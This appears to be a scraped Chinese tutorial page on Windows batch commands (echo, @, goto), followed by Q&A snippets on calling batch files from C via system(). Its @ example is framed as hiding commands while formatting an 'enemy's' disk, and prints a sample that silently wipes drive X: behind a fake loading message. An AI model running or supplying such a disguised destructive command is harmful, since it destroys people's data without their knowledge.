在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。
2.@ 命令
表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬碟)自然不能讓對方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個參數給我們,效果和/y是一樣的。)
3.Goto 命令
指定跳轉到標簽,找到標簽後,程序將處理從下一行開始的命令。
語法:goto label (label是參數,指定所要轉向的批處理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。)
@Rem check parameters if null show usage
:noparms

⑼ C語言如何執行批處理

這個問題我也遇到過,是你用的IDE對這個功能的支持有限。
解決方法:
1,編譯好之後別點調試,自己在目錄里找到生成的可執行文件,雙擊運行,它可以正確的用system函數調用批處理。。。比較蛋疼..
2,你可以在vc6.0下試試。

⑽ C語言中如何調用批處理文件和windows NT 命令腳本

而且在程序中寫路徑時應該用/,而不是平常用的\,例如system("盤符:/目錄名/文件名"),而不是system("盤符:\目錄名\文件名"),但是直接在cmd中運行時應該用 E:目錄名\文件名

閱讀全文

與c批處理命令相關的資料

熱點內容
如何上網上設個人加密賬戶 瀏覽:44
linux打開ssh服務 瀏覽:78
微信位置可以加密嗎 瀏覽:470
演算法蠻力法 瀏覽:438
隨機排練命令 瀏覽:147
python多進程並發 瀏覽:41
安卓軟體安裝如何躲避安全檢測 瀏覽:647
奇幻潮翡翠台源碼百度雲盤 瀏覽:187
什麼軟體可以免費pdf轉word 瀏覽:15
php正則表達式大全 瀏覽:394
androidntp時間 瀏覽:299
輪機長命令簿英文 瀏覽:148
oppo鈴聲設置被加密怎麼處理 瀏覽:548
粵苗app圖形驗證碼怎麼填 瀏覽:899
管家婆架設雲伺服器 瀏覽:254
php的登錄界面代碼 瀏覽:997
php開發客戶端 瀏覽:998
theisle測試服怎麼搜伺服器 瀏覽:447
廣播PDF 瀏覽:218
單片機編程300例匯編百度 瀏覽:35